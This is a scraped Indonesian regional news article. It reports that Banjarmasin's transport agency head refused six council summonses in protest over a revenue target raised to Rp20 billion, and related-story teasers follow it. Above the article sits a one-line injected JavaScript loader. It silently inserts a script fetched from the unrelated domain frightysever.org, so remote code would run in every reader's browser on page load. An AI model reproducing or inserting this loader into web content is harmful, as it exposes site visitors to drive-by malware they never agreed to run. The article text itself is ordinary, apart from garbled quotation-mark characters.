(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Mangkirnya Dinas Perhubungan (Dishub) Banjarmasin saat dipanggil Komisi III DPRD Banjarmasin, tentunya membuat berang Ketua Komisi III Muhammad Isnaini. Kendati begitu, ada alasan dari Kepala Dishub Banjarmasin Ichwan Noor Chalik yang membuatnya tidak memenuhi panggilan Komisi III sebanyak 6 kali.
“Saya protes terhadap sikap DPRD yang dalam proses penyusunan APBD itu melanggar aturan transparansi dan akuntabilitas,†kata Ichwan saat ditemui di Balaikota Banjarmasin, Senin (13/1/2020) pagi.
Alasannya, menurut Ichwan, berkaca dari APBD Perubahan 2019 dimana target pendapatan dari Rp12 miliar menjadi Rp15 miliar, yang lantas dinaikkan kembali di APBD 2020 menjadi Rp20 miliar.
“Dalam waktu 2 bulan di APBD 2020 ternyata tanpa sepengetahuan Dishub dan saya sebagai kepala SKPD, mereka menaikkannya menjadi Rp20 miliar! Ini kan melanggar transparansi, tidak boleh,†tegas Ichwan.
Ichwan menyayangkan sikap Komisi III DPRD Banjarmasin yang sepihak menentukan target anggaran untuk Dishub Banjarmasin. Ichwan mengklaim telah mengingatkan Ketua Komisi III Isnaini bahwa menaikkan target itu tidak masalah, selama masih rasional.
“Kenapa harus rasional, karena dampaknya terhadap kinerja saya. Dan dampaknya terhadap pendapatan tambahan anak buah saya, yaitu upah pungut. Artinya kalau tidak tercapai, kinerja saya jatuh dan upah pungut tidak didapat,†papar Ichwan.
Baca juga: Terus Mangkir Rapat, Dishub Banjarmasin Bikin Dewan Berang
Ichwan baru mengetahui adanya kenaikan target pendapatan, saat diparipurnakan beberapa waktu lalu. Ichwan mengaku mendapat informasi bahwa target pendapatan menjadi Rp20 miliar. “Gila!†berangnya.
Ichwan mengakui, di tahun 2019 hanya mampu mencapai target pendapatan Rp14 miliar saja, dari Rp15 miliar yanh ditargetkan pada APBD Perubahan 2019 lalu. Sehingga tidak heran jika Ichwan berang ketika mengetahui target pendapatan dinaikkan menjadi Rp20 miliar.
“Yang Rp15 miliar aja tidak tercapai, cuma Rp14 miliar. Rasional nggak?†tanya Ichwan. “Nggak rasional kan,†jawabnya.
Dirinya mengklaim telah berupaya ektra untuk memaksimalkan kemampuan untuk dapat memenuhi target pendapatan di tahun 2019 lalu. “Sudah saya kebut, saat malam saya turun, Duta Mall juga saya tekan. Ya akhirnya cuma tercapai Rp14 miliar itu,†tandasnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.